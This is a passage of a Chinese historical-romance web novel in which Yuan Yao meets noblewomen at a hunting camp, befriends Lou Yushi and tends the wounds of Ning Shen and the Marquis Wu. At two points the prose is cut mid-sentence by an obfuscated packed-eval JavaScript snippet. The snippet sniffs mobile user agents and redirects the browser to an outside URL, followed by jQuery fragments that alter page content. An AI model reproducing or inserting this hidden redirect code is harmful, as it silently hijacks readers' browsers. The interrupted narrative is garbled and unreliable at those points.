元窈不明所以，可还没问出口宁慎便转身走了，她蹙了蹙眉，和冬棠一起走进营帐。 将士拉开营帐，嬉笑声便漏了出来，有人打闹有人欢笑，好不热闹。 元窈犹记宁慎之言，小心走进暗中观察。 这间营帐有一小院大，桌椅床架一应俱全，由此可见狩猎之举并非心血来潮，该是准备许久的。 屋里依稀有二十多女子，三五成群的玩闹，都很相熟的模样。 一黄裙少女最先注意到元窈这个生人，她拉了拉身旁笑闹的锦衣少女，锦衣少女视线落在元窈身上便愣住了，很快帐里的人都看向元窈。 她之好姿色，足让人侧目。 许久之后，一盘髻年轻妇人最先开口问：“姑娘好生标致，不知是谁家的？” 元窈浅笑示好，答：“杳杳从豫州来，姓宁。” 妇人愣了愣。 “是她啊！” “她竟也来了” “怎么是她啊！” 有议论声窸窣，似乎都对她有所耳闻。 元窈站在一边，听她们议论、被她们打量，像是被这一群人孤立。 有几个少女互相看了一下眼，笑了笑，一起走到元窈亲切地把人拉过来，都是笑脸盈盈的：“我是……” 半刻，帐中又是那般欢声笑语，她这才知道，武侯滞在颍川郡这三个月里，她不是唯一一个被家里送过来的。 14. 陈留王女 除了半数侍女，营帐里有八个少女都是被家中送来的，与她处境无差，唯一不同的是她们都被安排在玉隐楼。 “听说你在衙署住了快有一个月了？”黄裙少女问道，元窈记得她貌似姓周，是名门望族之后。 她点头应是。 一头蓝裙少女看着她：“那你可真是好福气，霍小将军直接就把我送去玉隐楼了。” “我来时拜过侯爷，不也在玉隐楼。若不是有天灾，我这会儿都被遣回家了。”有人道。 有人接她的话：“这次你家为侯爷出了力，侯爷可能会多留你呢！” “那就不知道了呵呵。”她笑声中似乎真有一些期待。 元窈听她们的话陷入思忖，原来昨夜武侯要她回家并非特例，她们这中被家里以各种理由送来的，武侯都会留住几日，再用各种说辞将人送回去。 这次狩猎游中有许多人就是特意邀来的，既维系君臣关系，也顺便让他们将家中女眷带走。 金钗少女又问她：“侯爷可请你兄长来了？你回汝南郡吗？” “我兄长来了，到时我和他一同离开。”听她们一直说着回家的事，元窈心中也有期待。 站在一边头戴金钗的少女闻言诧异：“你也回去？你……不是要和霍小将军成亲？” “诶……我似乎也有耳闻。”最先问候元窈的新妇也这样说。 元窈听得不由脸红，原来婚姻嫁娶之事是能这样做谈资的吗？ “是……谣传吧。”她轻声否认。 “你兄长若是来接你的，就不会只身前来，且你人都在衙署了。”不远处一个女声干脆利落。 元窈抬头看去，女子一身白衣黑纹，粉面寒霜，眉间一丝英气，她持书远离她们坐着，身边无人服侍，语气随意平常：“是霍小将军钟意你，还是侯爷钟意你？” 元窈的心兀地被她的眼神攥住了，那双清澄干净的眼睛能穿过层层遮掩见得真相。 她的手不自觉搅动起来，雾朦的眸子颤了颤。霍垣还是武侯？霍垣月下呢哝蜜语仍历历在目，她初听时心中似乎也有悸动……暮地，一道凌厉的目光劈开她眼前幻境，取而代之的是，那不可名状的一晚。 她的沉默众人看在眼里，有人好奇，有人轻屑，有人羡慕，有人嫉恨。 “侯爷昨夜许我回家养病，兄长顾念我身体犹豫，还未定下归程，多是要一同回的。”元窈这般说道。 那夜是她有心勾引，武侯一热血男儿郎难免失控，只是误会一场。至于霍垣，不过是一时稀罕她模样罢了。哪儿有什么是谁不是谁，她就要离开了。 多是一词巧妙，细究不也是未必？几个少女看向她的眼神多了一丝不易察觉的屑意。 见着她们聊得有一会儿了，另一个新妇站了起来，笑着：“这坐久了也腰酸，你们可想去外面玩玩？” 闲聊在哪儿都是一样的，比起在营帐中坐着，自然是去外面更有意思，除了那个英气的白衣少女，其他人都出了营帐。 元窈和冬棠走在最后面，临出门前她回头看了那少女一眼。 营地周围风光甚好，少女们都三两结伴走动，元窈和冬棠站在一边无人理会。最开始盛情拉她说话的那两位少女从她身边径直走过，没有再理她的意思，元窈默默看着两人背影。 “宁姑娘！” 元窈侧目，是帐中那笑语阑珊的金钗少女，她招呼元窈：“我们一起去捡柴怎么样？” 营地内有柴火，是不需要她们亲自捡的，她看出元窈所想，又说：“我在家中和兄长野炊都是自己捡柴，当玩玩啦！来吧。” “好。”元窈朝她走过去。 金钗少女对她很是热情：“你还不知道我是谁吧，我父亲是陈留王，我名楼语诗。” 元窈脚步稍顿，很快恢复自然。 前年十月，武侯收兖州，陈留王联合河内郡守、东郡王茁齐攻济阴郡四方鏖战一月，最终从并州霍垣率军支援攻下东郡、河内郡，陈留王见形势急转而下对武侯投诚，那时武侯直进司隶，陈留得以幸免。 可是，她曾听宁慎说过，那一战中武侯一亲叔战死被陈留兵马践踏，都未拾得全尸，以武侯之性，定不会就此接受。 两人相伴到营地外，不远的地方就有枯枝，楼语诗小跑过去却直奔树荫下几朵小花，她随意摘下一朵，朝元窈招手：“杳杳妹妹，快来。” 她依言过去，楼语诗将花茎系外她头发上，紫粉色的小花立于而上，楼语诗满意笑笑：“这样好看，不然你可太素了。” 说完她觉得不好，忙补充：“杳杳妹妹很是漂亮，有颜色更美。” 元窈不会想那么多，恬然一笑：“谢谢楼姐姐。” 楼语诗笑了一下，偷偷往四周看了看才凑到元窈身边小声问：“我听说霍小将军很是喜欢你？你真不会和他成婚吗？真要回汝南？” 是否回汝南还不好说，但依武侯态度，她与霍垣应是没什么可能了。元窈摇摇头：“我与霍小将军不亲近，至于回不回汝南，还得由兄长定夺。” “啊……这样啊。”楼语诗神情有些遗憾，她仔细打量元窈这张脸，很是不解：“我听说你常伴小将军身侧，杳杳你长得这么美，小将军也不动心？” “唉……”她叹一声。 “楼姐姐为何叹气。”她这样子倒让元窈困惑。 楼语诗又摘下一支花，一点一点摘去叶片，语气苦恼：“我这次来，是想留在武侯身边的，不瞒你说，若是能留下，做个妾室我也不怕丢人。” 世家嫡出的小姐，除入君王帐，甚少有为妾者，那是要让家族蒙羞，影响同胞兄弟姐妹婚姻嫁娶的。 “但我遭武侯冷遇，怕是难得他青睐，所以便想着能否在霍小将军那里一试……”说到这儿，她斜眼一眼元窈，见元窈并无异色，继续说：“但你这么好的模样他都瞧不上，我更觉乏力了。” 元窈在心中摇头，武侯若有心再讨陈留王，是绝不会留下楼语诗的。至于霍垣，她自己就是前车之签，与武侯心意相悖的事不可能发生。 她只觉与楼语诗算得上同病相怜，便出言劝她开怀：“那姐姐回家再寻良人不好吗？” 这般事态，楼语诗难免不受陈留王牵连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575412|171552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，若元窈是她只会逃得远远的。武侯不留女眷不正好给她机会？ 楼语诗摇头，低垂的眼眸微微闪烁，眼里有仰慕之态流露，语气也生动起来：“武侯骁勇，有国君之相，若能为他妻妾，待武侯功成定是风光无限……” “我也听闻过霍小将军威名，少年将军战功赫赫……哪儿有比他们更好的良人？” 元窈在一旁凝望，眸中有不忍。生父都将骨肉亲女推入篝火，怎就能奢望其他男人怀中柔情？久经沙场的男人，心只会更冷，更硬。 元窈二人没真的带柴火回来，她捡了几颗漂亮石头，楼语诗采了一捧花。 玩累了的大多都回了营帐，元窈觉得在营帐中不自在，便叫楼语诗先回去，她在附近转了转，对营地内一个蚁洞起了好奇，蹲在那儿一直看。 一排蚂蚁个头比指腹还大，个个都抬着大叶片整齐往洞口进。 她第一次见着这么大的蚂蚁，稀奇极了，直到腿麻了才站起来，蹲得那么久，腿麻得站不直身子，她难受得哼哼，冬棠一边笑一边给她捏腿，半天才缓过来。 也是这是，前头有马蹄声响，元窈抬头，看见两人一同骑马回来，他们翻身下马，是武侯和宁慎。 两人一前一后而来，院里少女站定行礼，元窈也是，听得武侯低沉“嗯”过一声后才纷纷起身。 武侯从她身边走过，元窈才松一口气，视线落于宁慎身上，只瞟一眼，就蹙眉匆匆走去。 霍褚走得很慢，瞥见一旁白色身影晃过，同时有少女焦急又心疼的声音——“怎么受伤了？” 宁慎受伤了？霍褚回头看了一眼，他与宁慎只有四五步之远，能清楚看见宁慎掌心一道不足两寸长的伤口，隐隐有血迹渗出。 “只是被箭上的木刺刮到了。”宁慎不大在意，这种小伤口哪儿能称得上受伤？ 木刺刮掉掌心一层皮，有一道伤痕很深，还有残留的木刺在掌心。 元窈脸上愁苦，叫冬棠去把药箱取来。 毕竟是在野外，她留心带着药箱。 宁慎苦笑：“可能容我喝口水先？” 他忘带水袋，猎了大半天已经口干舌燥了。 元窈只得去追冬棠从她那儿要来水袋给宁慎，然后跑进主帐旁的营帐去搬凳子，丝毫没注意到前面一直盯着自己的人。 宁慎抬头喝水，视线正与霍褚黑沉的眸子对上。 霍褚看他一眼，转身走了。 入帐，近侍上前行礼，惊呼：“侯爷受伤了！” 霍褚刚瞧见一只白兔皮毛好欲用叉抓，他麾下有一莽夫家臣，行军打仗神勇无比，平日里冒冒失失，那莽夫以为他射不中这等灵活小物替他出箭，正中他小腿肚…… 就是林中潜伏的暗卫也没想到他会出此暗箭，更遑论他了。 他步步沉重坐于榻上，将那条受伤的腿伸直，声音冷沉：“可带了药箱？” “这……”近侍面露难色，春秋常狩猎，这么多次霍褚都没受伤过，谁能想到带药箱。 凉嗖嗖的视线打在他身上，近侍身子一抖，忙说：“小人四下问问。” 15. 受伤 透过掀开的窗口，霍褚看见少女一手托着男人手掌为他处理伤口，神态认真专注。 迎着光，元窈小心翼翼将木刺夹出，拿出药粉正要倒，宁慎却把手抽走了，“这点小伤不用上药。” “不行。”元窈蹙眉，态度很是强硬：“沾上水不容易好，碰了脏东西感染怎么办？” 她重新拽回宁慎的手，将药粉均匀倒在上面，用纱布包扎。 宁慎抬头就能看见那扑动睫毛下忽闪忽闪的、比明珠还漂亮的眼睛，她那么全神贯注像是在擦拭什么奇珍异宝，宁慎的手被她捧着，心也跑到她怀中了。 包扎好了，元窈抬眸和他对视上，男人眼底情愫无所遁形，许是真的与宁慎太久没见或是其他什么，这次她倒没有之前那样抵触，但还是不适罢了。 元窈没说什么，将纱布和药瓶整理好让冬棠放回去。 “等一下。”宁慎叫停住，他站起身转向冬棠，“侯爷也受伤了，你过去看看吧。” “侯爷受伤了？”元窈疑道，她才没敢看武侯，并不知道他受伤了。 “嗯。”宁慎点点头，“我回来时看见他腿上有伤。” 冬棠点点头，抱着药箱往主帐去，元窈的视线随着冬棠身影而动，眼见冬棠入帐，元窈一声清脆：“冬棠！” 冬棠停下，在宁慎疑惑的目光下，元窈走到冬棠身边，拿走她手上药箱，轻轻道：“我去吧。” 武侯受伤，这是个好机会。 她双手紧紧提着药箱，回头望了宁慎一眼，似乎想等他说什么，但宁慎只是那样看着她，眼中有无可奈何。 元窈无声微微勾唇，深吸一口气走进营帐。 主帐不比那间大多少，但很阴凉，她才踏入就被扑面而来的冷气激得打了个哆嗦，不用抬头，她已经感受到那道微冷的视线，有着难以描述的压迫。 “做什么？”武侯声音冷冰不带丝毫感情。 元窈走近几步欠身行礼：“杳杳听闻侯爷受伤，自请为侯爷包扎。” 霍褚轻哼一声，他亲眼看着近侍匆匆往那边的营帐去，根本没瞧见她也没问过她，她这会儿怎么又知道自己受伤了？莫不是宁慎让她过来讨好自己的？ “过来。”他言简意赅叫人。 元窈闻声便到霍褚身边，将药箱放在地上打开，从里面拿出剪刀剪开他伤处，将被血浸透的裤腿扔下，裤管卷起来，一句话也不多说。 伤口在脚踝上面，横着一道，像是利器擦过的样子，血流涓涓整个伤口下面都是血迹。 这道伤口对元窈来说称得上触目惊心，她顿时眉头紧皱，责备嗔怪：“怎不先将伤口绑上，流了这么多血。” 她像对宁慎一般，仰头看人，看清那张冷戾的脸，她倏地回过神忙垂首解释：“杳杳失言，还请侯爷莫要怪罪。” 她一套动作下来看得霍褚云里雾里，都疑惑自己刚是不是说了什么，顿了半天才确定自己刚看她看得入迷，才没怪罪她，不知道她草木皆兵个什么劲儿。 他嗤笑：“没怪你，紧张什么？” 没怪吗？元窈怯生生抬头看霍褚的表情——脸色沉得吓人。 她咬了咬嘴唇，猜不透武侯心底所想，只好继续为霍褚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575413|171552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处理伤口。 血流了不少，好在现在已经有要干的迹象，她将药粉倒上去把伤口覆盖个彻底，抬头扫一圈就找到了水盆，于是起身过去，里面的水清澈极了像是新换的。 把水盆端来放于另一边，在药箱里翻找半天不见巾帕，正无措着，突然脑中灵光一闪，拿出自己的手帕放在水中淋湿、拧干，用半湿不干的手帕擦去男人腿上血迹。少女动作轻柔，手帕微凉柔软一下下从他小腿抚过……这让霍褚想到了那夜，她的手也是这样，凉又柔软。 洁白的丝帕很快就被血迹浸染，洗涤几次，一盆水都是血色，少女衣袖有几块被血水粘上，霍褚第一次觉得血脏，弄脏了她常用的手帕，弄脏了她的衣裳。 元窈正好身上常备两条手帕，那条干的也被她拿出来小心擦去霍褚腿上水痕，片刻功夫，男人惨不忍睹的伤处就被清理得干干净净，只剩下被乳白色药末盖住的伤口。 元窈看了看男人的腿，又在房里扫视一圈，营帐中竟有书案。她再次起身拿来书案上的石砚，走到霍褚身边，俯身将他的脚轻轻抬起，将石砚垫在他脚踝处。 小腿和榻之间腾出一寸高，她动作轻柔一圈一圈缠绕纱布包扎伤口。全程下来霍褚没有一个动作是自己使力。 那双沉寂的眼睛不能从元窈脸上离开，原来她是这样的表情，霍褚在心里默默想着。做事这样细心体贴，似乎把所有心思都放在眼前人身上，试问哪个男人遇到这样一个娇柔又体贴的少女能不放下心防？也怪不得霍垣短短十几日就迷上了她。 元窈取下石砚放回原处，把之前卷起的裤管放下